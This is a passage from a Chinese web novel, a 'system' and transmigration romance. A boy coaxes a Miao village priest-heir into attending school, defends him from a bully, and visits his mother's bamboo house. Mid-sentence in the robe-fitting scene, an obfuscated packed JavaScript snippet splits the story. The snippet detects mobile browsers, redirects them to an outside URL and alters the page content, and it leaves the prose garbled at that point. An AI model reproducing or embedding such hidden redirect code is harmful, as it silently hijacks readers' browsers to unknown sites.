许祭的心跳轻轻漏了一拍，想起树杈上那个把玩碎瓷片的少年，原来那身桀骜的外壳下，还藏着这样一颗偷偷向往课堂的心。 “那……他为什么不肯去啊？”许祭又问，指尖无意识地摩挲着裤缝，声音里带着点自己都没察觉的急切。 校长叹了口气，往沈司南离开的方向望了一眼，语气里满是无奈：“还能为什么？苗寨的祭祀继承人，哪是那么好当的。族里的长辈把希望全压在他身上，天天逼着学礼典、认草药，哪里肯放他去城里上学。这孩子也是犟，心里明明想去，嘴上却硬得很，生怕别人看穿他的心思。” 许祭攥紧了手指，心里忽然亮堂起来。原来沈司南不是抗拒上学，是被“祭祀继承人”这几个字捆住了手脚。 校长看着他若有所思的模样，忽然笑了，拍了拍他的肩膀：“你是司南的朋友吧？这孩子看着凶，其实心软得很。要是你能劝劝他，说不定比我们这些大人管用。” 许祭抬起头，对上校长眼里的期许，轻轻点了点头，眼底的光一点点亮起来。 风穿过溪边的芦苇丛，沙沙作响，像是在替他盘算着什么。 许祭刚和校长道别，转身往老榕树的方向走，脑海里就响起系统毫无波澜的机械音：恭喜宿主，沈司南的好感动已经有20%。 许祭的脚步顿了顿，眼底掠过一丝讶异。他低头看了看自己的掌心，刚才帮沈司南捡鱼篓时被水草划到的小口子还泛着红，指尖似乎还残留着和沈司南争抢野核桃时的温度。 原来只是一起摸了会儿鱼，只是递了一颗野核桃，只是听他说了句别扭的自我介绍，就能攒下20%的好感度。 他忍不住弯了弯嘴角，抬头望向老榕树的方向。沈司南正蹲在树底下，背对着他，手里不知道在鼓捣什么，夕阳把他的影子拉得长长的，看起来竟没那么孤单了。 系统的声音还在继续：好感度达到50%可解锁初级任务奖励，达到100%可解锁时间回溯的部分豁免权。 许祭攥了攥手指，心里那点因为反噬而升起的烦躁，忽然就散了大半。他抬脚朝沈司南走过去，脚步轻快了不少，连带着风里的凤凰花香，都变得清甜起来。 日头偏西，橘红色的余晖把苗寨的石板路染得暖融融的。沈司南揣着那枚野核桃，慢吞吞地往家走，脚步踢着路边的石子，一下，又一下。 石板路的尽头，几个背着书包的少年说说笑笑地跑过，蓝白相间的校服在夕阳下晃得刺眼。他们手里攥着皱巴巴的试卷，嘴里念叨着课堂上的趣事，清脆的笑声被风捎过来，像细针一样，轻轻扎在沈司南的心上。 他停下脚步，看着那些少年的背影，看着他们互相勾着肩膀，朝着寨口的方向走——那里有通往县城中学的班车。 心脏像是被一只无形的手攥紧了，闷得发疼。 他想起校长递过来的那些试卷，想起自己躲在教室后墙听课的日子，想起黑板上写满的公式，想起老师念到他名字时眼里的惊艳。那些藏在心底的、不敢说出口的向往，在这一刻汹涌而出，几乎要将他淹没。 可他是沈司南，是苗寨的祭祀继承人。 他的人生早就被刻好了轨迹，是祠堂里的青铜礼器，是晦涩难懂的祭祀经文，是族长辈沉甸甸的期望，唯独不是窗明几净的教室，不是琅琅的读书声，不是和同龄人一起打闹的时光。 沈司南攥紧了手里的野核桃，指节泛白。核桃壳上的纹路硌着掌心，疼得他眼眶有点发热。他猛地抬脚，狠狠踢飞了脚边的石子，石子滚进路边的草丛里，发出一声闷响，像极了他此刻的心情。 风卷着凤凰花的花瓣，落在他的肩头，又被他烦躁地拂开。 他低头看了看自己身上的靛蓝短褂，和那些少年的校服格格不入。 原来，有些路，从一开始，就注定走不了。 许祭循着石子滚动的方向找过来时，正看见沈司南低着头站在凤凰花树下，肩头微微耸着，靛蓝短褂的衣角被风吹得晃来晃去。 他放轻脚步走过去，从兜里摸出一颗用糖纸包着的水果糖，轻轻递到沈司南面前。糖纸在夕阳下泛着淡淡的光泽，甜丝丝的味道顺着风飘了过来。 “给你。”许祭的声音很轻，带着少年人特有的温和，“甜的，吃了心里就不难受了。” 沈司南猛地抬头，眼底还藏着没来得及褪去的红。他盯着那颗糖看了几秒，又抬头看向许祭，喉结动了动，没说话，却还是伸手接了过来。 指尖碰到糖纸的瞬间，一丝暖意顺着皮肤漫了上来。沈司南把糖攥在手心，低头剥开糖纸，把糖塞进嘴里，橘子味的甜瞬间在舌尖散开，轻轻压下了心底的那点涩。 他没看许祭，只是含糊地说了句：“……谢了。” 沈司南含着糖，腮帮子微微鼓着，没再说话。许祭陪着他站在凤凰花树下，目光漫无目的地掠过石板路尽头的寨口。 就在这时，一个扎着羊角辫的小姑娘蹦蹦跳跳地跑过来，手里攥着一支刚摘的野雏菊，花瓣上还沾着露水。她穿着浅粉色的小裙子，跑起来的时候裙摆晃呀晃，像只翻飞的蝴蝶。 许祭的目光顿住了。 那小姑娘眉眼弯弯的，笑起来的时候脸颊上有两个浅浅的梨涡，和他记忆里陈杬祝的模样几乎一模一样，只是少了几分成熟的温柔，多了些孩童的娇憨。 是十四岁的陈杬祝。 小姑娘跑过他们身边时，脚步顿了顿，好奇地打量了他们两眼，然后冲着许祭露出了一个甜甜的笑，脆生生地喊了句：“哥哥好！” 说完，又蹦蹦跳跳地跑远了，朝着寨子里的晒谷场去了，留下一阵淡淡的花香。 许祭看着她的背影，心里泛起一阵奇妙的涟漪。原来十四岁的陈杬祝，是这样活泼的模样。他转头看向身边的沈司南，发现对方也在看着那个方向，嘴角的弧度似乎柔和了些。 系统的机械音适时响起：检测到任务相关人物，14岁陈杬祝已出现。 扎着羊角辫的陈杬祝脚步顿住，歪着脑袋打量了沈司南两眼，目光落在他攥着野核桃的手上，又扫过他微鼓的腮帮子，眼睛弯成了月牙。 她晃了晃手里的野雏菊，脆生生地喊：“沈司南哥哥，你也在这里呀！” 说完，又扬了扬手里的花束，眉眼间满是孩童的娇憨：“我去晒谷场找小伙伴编花环，你们要不要一起呀？” 沈司南皱了皱眉，别过脸，声音硬邦邦的：“不去。” 陈杬祝也不恼，吐了吐舌头，转身又蹦蹦跳跳地跑远了，羊角辫在身后甩成两道欢快的弧线。 她的身影刚消失在凤凰花树的尽头，许祭的脑海里就响起系统冰冷的机械音：检测到目标人物明确拒绝社交活动，触发隐藏任务——成功进入一中就读。任务完成时限48小时，完成后可获得好感度加成10%。 许祭的脚步顿了顿，转头看向身边依旧绷着脸的沈司南，心里轻轻叹了口气。48小时，要劝动这个犟脾气的少年松口，怕是没那么容易。 许祭望着沈司南绷得紧紧的侧脸，心里飞快地盘算起来。硬劝肯定不行，这少年吃软不吃硬，得从他最在意的事入手——苗寨祭祀。 晚风卷着凤凰花香吹过来，许祭忽然想起寨老说过的话，祭祀不光要懂礼典草药，更要识文断字，才能看懂那些藏在古老竹简里的记载。 他眼睛一亮，凑到沈司南身边，声音放得轻轻的：“沈司南，你想不想当个最厉害的祭祀？” 沈司南挑眉看他，没说话，却明显松了点脸色。 “我听寨老说，那些最古老的祭祀典籍，好多字只有城里学堂教的先生才认得全，”许祭趁热打铁，指尖无意识地摩挲着兜里的糖纸，“你去一中上学，学了那些字，就能看懂别人看不懂的竹简，到时候你当祭祀，肯定比谁都强。” 这话像一颗小石子，精准地砸进了沈司南的心湖里。他攥着野核桃的手指猛地收紧，眼底闪过一丝动摇。 许祭看着他的反应，悄悄松了口气。果然，把上学和祭祀绑在一起，才是撬开这少年心防的关键。 沈司南攥着野核桃的手指松了又紧，垂在身侧的手不自觉地蜷了蜷，喉结滚动了两下。 他抬眼看向许祭，眼底的执拗淡了几分，还藏着点没来得及掩饰的动摇，声音依旧硬邦邦的，却少了几分戾气：“……就当是为了看懂那些破竹简。” 顿了顿，他又别扭地补充了一句，声音低得像蚊子哼：“不许告诉别人，我是自愿去的。” 许祭看着他泛红的耳根，忍不住弯了弯嘴角，用力点头：“嗯，就我们俩知道。” 话音刚落，系统的机械音就响了起来：目标人物同意入学，隐藏任务进度提升30%，当前好感度35%。 第二天一早，日头刚爬上寨口的山头，沈司南就揣着那枚野核桃，一路踢着石子往校长住的招待所走。靛蓝短褂的衣角被风掀起来，他却没像往常那样烦躁地扯平，脚步虽慢，却没半点犹豫。 校长正坐在院子里翻看试卷，听见脚步声抬头，看见站在门口的沈司南，愣了一下。 沈司南梗着脖子，没看校长的眼睛，目光落在院子里的石桌上，声音硬邦邦的，却字字清晰：“我想好了，我要去一中上学。” 校长手里的笔“啪嗒”一声掉在纸上，墨渍晕开一小团。他连忙站起身，眼里满是惊喜：“真的？司南，你可想好了？” “嗯。”沈司南应了一声，耳根悄悄泛红，又补充了一句，“白天上课，晚上回寨里学祭祀礼典，不耽误。” 校长笑得合不拢嘴，连忙点头：“好！好！我这就给你办手续，保准不耽误你上课！” 沈司南没再说话，转身就往回走，脚步轻快了不少，风里都裹着点不易察觉的雀跃。 天刚蒙蒙亮，苗寨的晨雾还没散，许祭就和沈司南并肩往寨口走。沈司南身上换了件新的靛蓝短褂，手里攥着校长给的入学通知书，脚步迈得有些不自在，耳根却悄悄泛着红。 县城一中的校门比两人想象的要气派，门口的宣传栏贴着鲜红的标语，进进出出的学生都穿着蓝白相间的校服，看见他们俩的打扮，忍不住多看两眼。 进了教室，班主任领着他们站在讲台前，笑着介绍：“这两位是新来的转学生，沈司南和许祭，大家欢迎。” 掌声落下去，底下立刻响起一阵窸窸窣窣的议论声。 “那个叫沈司南的长得好酷啊，看着有点凶，但是好好看。” “他们是苗寨来的吧？衣服和我们都不一样。” “听说苗寨有祭祀，会不会他就是……” 沈司南听见那些议论，眉头瞬间皱了起来，下意识地往后退了半步，往许祭身边靠了靠。许祭察觉到他的局促，悄悄碰了碰他的胳膊，低声说：“别怕，他们就是好奇。” 沈司南抿了抿唇，没说话，却悄悄放松了紧攥的手指。 班主任给他们安排了靠窗的同桌位置，两人刚坐下，前排的女生就转过头来，递过来两颗水果糖，眼睛亮晶晶的：“你们好呀，我叫林小满，你们从苗寨来的吗？那里是不是有很多好看的凤凰花？” 许祭接过糖，对着前排的女生笑了笑，声音清亮：“有啊，苗寨的凤凰花树到处都是，开的时候整座山都是红的。” 林小满眼睛更亮了，还想追问些什么，目光却转到一旁的沈司南身上。沈司南只是垂着眼，指尖摩挲着桌角的木纹，没接话，连眼皮都没抬一下。 课间操的铃声刚响，走廊里就闹哄哄的。一阵拖沓的脚步声由远及近，几个吊儿郎当的男生勾肩搭背地停在教室门口，为首的那个染着黄毛，校服外套松垮垮地搭在肩上，正是一中出了名的校霸林舟。 他斜倚着门框，目光在教室里扫了一圈，最后落在靠窗的沈司南身上，扯着嗓子喊了一声，语气里满是戏谑：“唉，那个沈祭祀，怎么来上学了？” 这话一出，走廊里的喧闹声瞬间静了半截，不少路过的学生都停下脚步，好奇地往教室里张望。沈司南握着笔的手猛地一顿，笔尖在作业本上划出一道长长的墨痕，他抬起眼，眼神冷得像淬了冰，死死地盯着门口的林舟。 林舟的话音刚落，教室里瞬间炸开了锅，窃窃私语声像潮水般涌了上来。 “沈祭祀？原来他真的是苗寨的祭祀继承人啊！我还以为是瞎传的。”后排的男生扒着同桌的胳膊，眼睛瞪得溜圆。 “难怪他身上总带着股冷冷的劲儿，祭祀听起来就好神秘啊。”前排的女生凑在一起，偷偷瞄着沈司南的背影，声音压得极低。 “怪不得校长都亲自来劝他上学，这身份也太特殊了吧！”有人忍不住拔高了音量，引来周围一片附和的点头声。 议论声越来越大，像无数只小虫子，嗡嗡地往沈司南的耳朵里钻。他攥着笔的手青筋凸起，指节泛白，整张脸都沉了下来。 林舟嗤笑一声，故意拖长了调子，声音里的戏谑更浓了。他抬脚蹭了蹭教室门框，晃着肩膀往前走了两步，目光直勾勾地锁着沈司南，阴阳怪气地喊：“哎呀，祭祀大人，怎么不在你的苗寨里好好待着，跑来上学啊～” 他身后的几个跟班立刻跟着哄笑起来，口哨声和起哄声混在一起，在走廊里格外刺耳。 沈司南“啪”地一声把笔拍在桌上，猛地站起身，椅子腿在地面拖出一道尖锐的声响，眼底的寒意几乎要溢出来。 林舟被沈司南的气势逼得顿了一下，随即又梗着脖子嗤笑，故意把声音扬得更高，带着几分无赖的挑衅：“唉，你们苗寨不是有蛊吗？你用啊！怎么不把我们这些凡人都咒一遍，省得碍了你的眼！” 跟班们的哄笑声更放肆了，走廊里看热闹的人也越聚越多，指指点点的议论声像针一样扎过来。沈司南的脸彻底沉了下去，额角的青筋跳了跳，攥紧的拳头骨节泛白，指节因为用力而微微发颤。 沈司南攥紧的拳头刚要往前挥，身侧的许祭已经“唰”地站起身，一步跨到他面前，稳稳挡住了沈司南的身影。 许祭没看林舟身后的跟班，目光直直落在林舟脸上，语气平静却带着不容置疑的冷意：“说话注意点，苗寨没有你说的那些东西，别在这里胡说八道。” 他个子和林舟差不多高，站在那里像一道屏障，把沈司南眼底翻涌的怒意，牢牢挡在了身后。 林舟挑了挑眉，下巴朝着许祭的方向扬了扬，转头冲身后的跟班挤眉弄眼，声音又尖又飘：“唉！你们看，沈司南还有人护着了！” 跟班们立刻心领神会，爆发出一阵哄笑，口哨声和怪叫声此起彼伏，走廊里的议论声也跟着大了起来。 就在这哄笑声里，一只翠绿的小虫不知从哪儿飞来，轻飘飘落在沈司南的肩头，翅膀还微微扇动着。 林舟的目光瞬间黏了上去，像是发现了什么天大的稀罕事，夸张地往后跳了半步，指着那只虫子尖声嚷嚷：“啊！是蛊唉！沈大祭祀，你这是要放蛊杀了我吧？” 这话一出，周围看热闹的人顿时一阵骚动，几个胆小的女生甚至往后缩了缩，眼神里满是惊恐。 那只翠绿的小虫在沈司南肩头爬了两下，细腿扒着布料蠢蠢欲动，像是要往他颈窝里钻。 沈司南垂眸盯着那点绿，眉峰蹙得更紧，抬手捻住了虫子的翅膀，指尖力道很轻，没伤着它分毫。他捏着虫子往外一送，手腕轻轻一扬，那只小虫便扑棱着翅膀，飞进了走廊外的晨光里。 林舟抱着胳膊，嗤笑一声，语气里的嘲讽快溢出来了：“哎呀，祭祀大人这是大发慈悲，要放了我们这些凡人？” 他身后的跟班又跟着起哄，口哨声混着怪笑，在走廊里搅得人耳膜发疼。 就在林舟的怪笑快要掀翻走廊顶棚的时候，一道清瘦的身影逆着晨光走了过来。 来人穿着件靛蓝染就的苗家布衣，领口绣着细碎的缠枝纹，乌黑的长发松松挽成一个髻，簪着支银质的小簪子，看着约莫三十岁上下，眉眼间透着苗寨女子特有的灵秀，周身还裹着股淡淡的草药香。 许祭的瞳孔骤然一缩，惊得差点攥紧拳头——是兰榙。 他记忆里的兰榙，眼底总是淬着化不开的阴翳，笑里藏刀的模样让人不寒而栗，可眼前的人，眉梢眼角竟带着几分未被世俗磨平的柔和，一点也没有后来那副阴鸷狠戾的样子。 兰榙走到教室门口，目光淡淡扫过闹哄哄的人群，声音不高，却带着莫名的穿透力：“都围在这里做什么？不上课了？” 沈司南原本紧绷的脊背倏地一松，脸上的冷冽褪去大半，他看着门口的人，声音里带着几分不易察觉的诧异：“阿妈，你怎么来了？” 许祭的脑子“嗡”的一声炸开，整个人都僵在原地，不敢置信地看向兰榙。 他怎么也想不到，记忆里那个手段狠戾、和他们针锋相对的兰榙，竟然会是沈司南的母亲。眼前这个眉眼温和、浑身透着草药香的苗寨女子，和后来那个阴鸷的身影，简直判若两人。 兰榙没理会周围的骚动，只朝沈司南微微颔首，目光掠过他攥紧的拳头，语气轻缓：“来给你送些东西。” 走廊里的议论声低了下去，取而代之的是一阵细碎的惊叹。 “哇，她好好看啊，眉眼好温柔。”前排的女生偷偷扯着同桌的袖子，声音压得极低，眼睛却亮得惊人。 “而且她和沈司南长得好像，尤其是眼角那一点，简直是一个模子刻出来的！”旁边的男生也忍不住插嘴，目光在兰榙和沈司南之间来回打转。 “原来沈司南的妈妈这么有气质，一点都不像……”有人话没说完，就被同伴悄悄捅了一下，后半句咽了回去，却还是忍不住往兰榙那边瞟。 兰榙缓步走到沈司南面前，抬手轻轻拂去他肩头沾着的草屑，指尖的温度带着苗寨清晨的微凉。她的目光掠过他泛红的眼眶，语气软得像浸了蜜的糯米，却又带着不容置疑的坚定：“司南啊，在外面受了委屈就和妈妈说，苗寨的山山水水，都会护着你，不用怕。” 沈司南喉结动了动，原本攥紧的拳头缓缓松开，指尖微微发颤，却没说出一个字。 兰榙的目光转向一旁还没回过神的许祭，眉眼间的柔和又添了几分，她微微颔首，声音温软：“谢谢你许祭，护着我们家司南。” 顿了顿，她又笑着补充道，语气里带着苗寨人特有的热络：“有空常来寨子里的竹楼找司南玩啊，阿妈的腌鱼和苗茶，管你管你满意。” 许祭猛地回神，脸颊微微发烫，慌忙点了点头：“谢……谢谢阿姨。” 许祭刚应声，脑海里突然响起系统冰冷的机械音，打破了他的思绪：【宿主，检测到沈司南感动值55%，触发新任务——今日晚间前往苗寨竹楼，与沈司南同住一晚。任务奖励：解锁沈司南相关记忆碎片×1】 许祭的脚步猛地顿住，耳根瞬间烧得发烫，下意识地看向身旁的沈司南。对方正垂着眼听兰榙叮嘱，长长的睫毛在眼睑下投出一小片阴影，侧脸线条柔和得不像话。 放学铃刚响，沈司南就被兰榙叫住说了几句话，许祭拎着书包，在教室门口慢吞吞地晃悠，目光黏在沈司南的背影上。 等沈司南走出来，他才快步迎上去，手指攥着书包带，有点不自然地开口：“那个……阿姨说让我去你家吃饭，我、我跟你一起走。” 沈司南愣了一下，随即耳根微红，点了点头，没说话，只是脚步慢了半拍，和许祭并肩往校门口走。 夕阳把两人的影子拉得老长，一路从柏油路走到蜿蜒的山路，风里裹着凤凰花的香气，还有苗寨竹楼飘来的炊烟味。 竹楼的二楼挂着件深青色的祭祀服，料子在昏黄的灯光下泛着细腻的光泽，领口和袖口绣着金线缠就的苗疆图腾，银饰流苏垂在衣摆，轻轻一晃就叮当作响。 许祭的目光一下子被勾住了，他站在楼梯口，忍不住多看了两眼，心里暗道：原来祭祀服这么好看，穿在沈司南身上，肯定更衬得他眉眼凌厉又惊艳。 沈司南端着苗茶过来，顺着他的视线望去，耳根又悄悄红了，低声解释：“是阿妈新绣的，还没来得及穿。” 兰榙端着刚蒸好的糯米饭从厨房出来，瞥见许祭盯着那件祭祀服出神，又看了眼沈司南，笑着开口：“司南，把那件新做的祭祀服换上吧，后天寨子里要办祈福大典，正好提前试试合不合身。” 沈司南的动作顿了顿，看了眼身旁的许祭，耳根微微发热，低声应了句：“知道了。” 说完便拿起那件深青色的衣裳，转身进了里间。 许祭的目光，是在沈司南掀开里间布帘的那一刻，彻底定住的。 昏黄的竹楼灯火，像是被揉碎的金箔，洋洋洒洒地落在那件深青色的祭祀服上，瞬间就漾开了细碎的光。料子是苗寨特有的织锦，捻了蚕丝混着棉线，摸上去该是温软的，可穿在沈司南身上，偏生透出几分凛冽的风骨。领口用金线绣着盘绕的灵蛇图腾，蛇眼嵌着细碎的银片，顺着光线转眸的刹那，竟像是要活过来一般，透着股神秘又张扬的劲儿。袖口收得利落，银饰流苏垂在腕间，随着沈司南微微抬手的动作，叮当作响，那声音清越，像是山涧的泉水撞在青石上，脆生生地敲在人心尖。 许祭喉结动了动，竟一时忘了说话。 他见过沈司南穿校服的样子，干净的白衬衫，袖口挽到小臂，露出一截清瘦的手腕，是少年人独有的明朗清爽；也见过他穿苗家布衣的模样，靛蓝的布料，洗得泛了点白，衬得他肤色愈发冷白，眉眼间带着点山野间的桀骜。可他从未见过这样的沈司南。 祭祀服的衣摆很长，垂到脚踝，下摆处绣着层层叠叠的缠枝莲，金线勾边，银线填蕊，走动间，那些花像是在裙摆上缓缓绽放。沈司南本就生得高挑，肩背挺直，穿上这身衣裳，更是将那份属于苗寨祭祀的矜贵与疏离，衬得淋漓尽致。他的头发被松松地束起，用一根银簪固定着，鬓角有几缕碎发垂下来，遮住了一点眼角，那双平日里总是带着冷意的眸子，此刻在灯火映照下，竟像是浸了温水，瞳仁里盛着细碎的光，看得人心里发烫。 “怎么样？”沈司南的声音低了些，带着点不易察觉的局促，他抬手扯了扯领口的银扣，指尖碰到那些冰凉的银饰，微微一顿。 许祭这才回过神，喉咙像是被什么东西堵住了，他张了张嘴，又闭上，反复几次，才找回自己的声音。那声音带着点自己都没察觉到的喑哑：“好看。” 一个“好看”，单薄得像是撑不起他满心的惊艳。 他往前走了两步，目光一寸寸地掠过沈司南的眉眼，掠过他挺直的鼻梁，掠过他紧抿的唇线，最后落在那件祭祀服上。金线绣的图腾，针脚细密得不像话，想来是兰榙一针一线熬了许多个夜晚才绣成的。那些银饰流苏，碰一下，就能发出清脆的声响，像是带着苗寨的风，带着竹楼外的月光，带着山野间的草木香，一下子就钻进了许祭的心里。 “比我想象中还要好看。”许祭又补了一句，他的目光太灼热，烫得沈司南的耳根瞬间就红了，像是染上了凤凰花的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037622|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颜色。“你看这领口的灵蛇，绣得好活，还有袖口的流苏，晃起来的时候，特别……特别衬你。” 他其实不太会说漂亮话，可看着沈司南的样子，那些话就像是不受控制一般，从喉咙里涌了出来。他想说，这身衣裳，像是为你量身定做的；想说，你穿成这样站在祈福大典上，整个苗寨的人，目光都会落在你身上；想说，你这样好看，看得我心里乱糟糟的。 沈司南垂着眼，不敢看他的目光，指尖无意识地摩挲着衣摆的银饰，声音低得像蚊子哼：“阿妈说……还得再改改，袖口的流苏有点长了。” “不用改。”许祭脱口而出，“这样正好，长一点才好看，走动的时候，流苏晃起来，特别有味道。” 他凑近了些，能闻到沈司南身上淡淡的草药香，混着祭祀服上丝线的味道，那味道清冽又干净，让人忍不住想再靠近一点。他的目光落在沈司南束起的头发上，银簪的顶端嵌着一颗小小的绿松石，在灯光下泛着温润的光。“你把头发束起来，比散着的时候更精神，也更……”许祭顿了顿，找了个合适的词，“更有祭祀的样子。” 沈司南抬眼看他，眸子里的光闪了闪，像是有星星落了进去。“很奇怪吗？”他轻声问，语气里带着点不确定。他其实不太习惯穿这样正式的祭祀服，总觉得浑身都不自在，可被许祭这样盯着看，被他一句句说着“好看”，那些不自在，竟慢慢消散了，取而代之的，是一点点说不清道不明的欢喜。 “不奇怪。”许祭摇了摇头，他的眼神认真得不像话，“一点都不奇怪，反而……反而特别配你。” 他想起兰榙说的祈福大典，想起沈司南穿着这身衣裳，站在苗寨的祭台上，面对着满山的凤凰花，面对着寨子里的族人，主持着古老的仪式。阳光会落在他的身上，金线会闪闪发光，银饰会叮当作响，他会是整个苗寨最耀眼的存在。 许祭的心跳，忽然就漏了一拍。 他看着沈司南，看着他穿着深青色的祭祀服，站在竹楼昏黄的灯光里，眉眼清俊，风骨卓然。那一刻，许祭忽然觉得，所有的词都显得苍白。好看，惊艳，耀眼，都不够。 他只能又重复了一遍，声音里带着点自己都没察觉到的温柔：“沈司南，你真的很好看。” 沈司南的耳根更红了，他别过脸，看向窗外的月光，月光落在他的侧脸，勾勒出柔和的轮廓。他轻轻“嗯”了一声，声音很轻，却像是一颗石子，落在许祭的心湖里，漾开了一圈又一圈的涟漪。 竹楼外的风，吹过凤凰花树，带来了阵阵花香。屋里的灯火，依旧昏黄，照着穿着祭祀服的少年，照着他身旁目光灼热的人。银饰的声响，偶尔响起，清越动人，像是一首无声的歌，在这寂静的夜里，缓缓流淌。 许祭看着沈司南的背影，看着他衣摆上的缠枝莲，看着那些在灯光下闪闪发光的金线银饰，心里忽然就充满了欢喜。原来好看，是这样一种让人满心雀跃的情绪。原来喜欢一个人，看他穿任何衣服，都会觉得惊艳。 他想，等祈福大典那天，一定要再仔细看看。看他站在祭台上，看他主持仪式，看他穿着这身好看的祭祀服，成为整个苗寨的光。 许祭的目光，依旧黏在沈司南的身上，舍不得移开分毫。他知道，今晚的沈司南，会在他的记忆里，停留很久很久。久到往后的很多年，想起这个穿着深青色祭祀服的少年，想起竹楼里昏黄的灯光，想起银饰流苏的声响，心里依旧会泛起阵阵的温柔。 好看。 真的很好看。 这三个字，像是一句魔咒，在许祭的心里，念了一遍又一遍。 晚饭摆在竹楼的小方桌上，兰榙做了满满一桌子菜，酸汤鱼的鲜辣混着糯米饭的甜香，在昏黄的灯光里漫开。许祭捧着碗，扒了两口饭，目光却总忍不住往对面飘。 沈司南已经换下了祭祀服，穿回那件靛蓝的苗家布衣，袖口挽着，露出一截清瘦的手腕。他捏着筷子，动作很轻，夹了一小块鱼肉，挑去刺，慢慢放进嘴里，咀嚼的幅度很小，像是没什么胃口。 许祭看着他面前的碗，糯米饭只动了小半，酸汤鱼的汤汁几乎没沾，就连兰榙特意给他盛的腌菜，也只是碰了碰筷子尖。 “不合胃口？”许祭忍不住开口，声音压得低低的，怕惊扰了旁边正哼着苗歌收拾碗筷的兰榙。 沈司南抬眼看他，睫毛颤了颤，摇了摇头：“没有。” 话是这么说，他却没再动筷子，只是垂着眼，盯着碗里的饭粒，不知道在想什么。许祭想起下午林舟的挑衅，想起他攥紧的拳头和泛红的眼眶，心里忽然就沉了一下。 兰榙端着一碟炸花生米过来，见沈司南碗里没剩多少，伸手揉了揉他的头发：“怎么吃这么少？下午在学校累着了？” 沈司南往嘴里塞了一粒花生，抿了抿唇，声音很轻：“不饿。” 兰榙叹了口气，没再逼他，只是往他碗里添了勺酸汤：“喝点汤，暖暖胃。” 沈司南顺从地端起碗，小口小口地喝着，眉头却微微蹙着。许祭看着他，忽然觉得那碗酸汤，怕是也没尝出什么滋味。他自己碗里的饭已经见了底，却没什么心思再吃，只是看着沈司南，看着他喉结轻轻滚动，咽下一口汤，看着他放下碗，又恢复了那副没什么精神的样子。 竹楼外的风轻轻吹过，带着凤凰花的香气，远处传来几声虫鸣。许祭看着桌上剩下的大半桌菜，看着沈司南放在桌下的手，悄悄攥成了拳，心里忽然生出点说不清道不明的心疼。 他想劝他多吃点，话到嘴边，却又咽了回去。只是默默夹了块裹满汤汁的豆腐，放进沈司南的碗里，声音放得更柔：“尝尝这个，阿姨做的豆腐，特别嫩。” 沈司南的目光落在碗里的豆腐上，愣了愣，抬眼看他，眸子里的光，像是比刚才亮了一点。 晚饭过后，兰榙收拾碗筷的声响还在竹楼里轻轻晃着，许祭碰了碰沈司南的胳膊，下巴朝楼梯口扬了扬：“去屋顶吹风？” 沈司南愣了愣，随即点了点头，没说话，率先拎了两罐米酒往楼梯走。 竹楼的屋顶铺着青瓦，被月光浸得微凉，许祭跟着沈司南爬上去，找了块平坦的地方坐下，脚下是整个苗寨的灯火，星星点点，像撒了一地的碎钻。晚风裹着凤凰花的甜香，卷着远处山涧的潮气，吹得人心里发暖。 沈司南拧开米酒罐，递给他一罐，自己握着另一罐，却没喝，只是望着远处的山峦出神。 “还在想下午的事？”许祭喝了一口米酒，清冽的酒香漫开，他侧过头看沈司南的侧脸，月光落在他的睫毛上，投出一小片细碎的阴影。 沈司南的指尖摩挲着冰凉的罐身，沉默了半晌，才低声嗯了一声。 “林舟就是嘴欠，”许祭嗤笑一声，语气带着点不屑，“下次他再敢胡说八道，我帮你堵他的嘴。” 沈司南转过头看他，眸子里盛着月光，亮得惊人：“你不用……” “我乐意。”许祭打断他，手指轻轻碰了碰他的手背，“护着你，又不是什么麻烦事。” 沈司南的耳根倏地红了，别过脸去，喉结动了动，慢慢喝了一口米酒。酒液顺着喉咙滑下去，带着点微醺的热意，他看着脚下的苗寨，忽然轻声开口：“以前在寨子里，没人敢这么说……” 没人敢说苗寨的蛊，没人敢拿祭祀的身份开玩笑，寨子里的人敬他，也怕他，可到了外面，那些敬重就变成了猎奇，变成了嘲弄。 许祭没说话，只是往他身边挪了挪，肩膀挨着肩膀，分享着同一阵晚风。 “阿妈说，祈福大典的时候，会有很多人来，”沈司南的声音很轻，像被风吹散的絮，“到时候我穿着那件祭祀服，站在祭台上……” “会很好看。”许祭接话，语气笃定。 沈司南笑了，是那种很轻很软的笑，眼角弯起的弧度，比月光还要温柔。 两人没再说话，只是并肩坐着，听着远处的虫鸣，听着风拂过瓦檐的声响，手里的米酒罐渐渐变温，心里的那些沉郁，也跟着一点点散了。 竹楼的木门“吱呀”一声被推开，兰榙探出头来，手里还捏着刚缝了一半的绣帕，目光落在屋顶两个并肩的身影上，声音被晚风送得轻轻柔柔：“司南，米酒虽淡，也别喝多了，夜里凉，喝多了容易头疼。” 沈司南握着酒罐的手顿了顿，仰头应了声“知道了阿妈”，指尖却悄悄把罐口拧得更紧了些。 许祭转头往下看，兰榙冲他笑了笑，又指了指屋里：“灶上温着姜茶，等会儿下来喝一碗再睡。” 兰榙倚着门框，看着屋顶上两个少年的身影被月光拉得老长，忽然扬声喊了一句，语气里带着笑意：“阿祭，今晚你就和司南一起睡吧，竹楼里的客房晒了新被子，暖和得很。” 许祭握着酒罐的手猛地一顿，心跳瞬间漏了一拍，耳根“唰”地就红透了。他转头看向沈司南，对方也正看着他，耳尖泛着淡淡的粉色，喉结动了动，没说话，只是轻轻“嗯”了一声。 晚风卷着凤凰花的香气吹过，瓦檐下的银铃轻轻晃动，发出细碎的声响，像是在偷笑。 沈司南推开里间的木门，率先走了进去，抬手拉开了窗边的布帘。月光顺着窗棂淌进来，落在屋里的衣杆上，许祭跟着进去，目光扫过的瞬间，忍不住低低“哇”了一声。 “你的房间，有好多衣服啊。” 衣杆上挂着好几件靛蓝或深青的苗家布衣，领口袖口都绣着精致的图腾，旁边的竹筐里还叠着几件半新的校服，最边上垂着的，正是傍晚那件缀满银饰的祭祀服，在月光下泛着柔和的光。靠墙的矮柜上摆着几支银簪，还有两三个绣着缠枝莲的布包，角落里堆着一摞关于苗寨风俗的旧书，书页边缘都翻得起了卷。 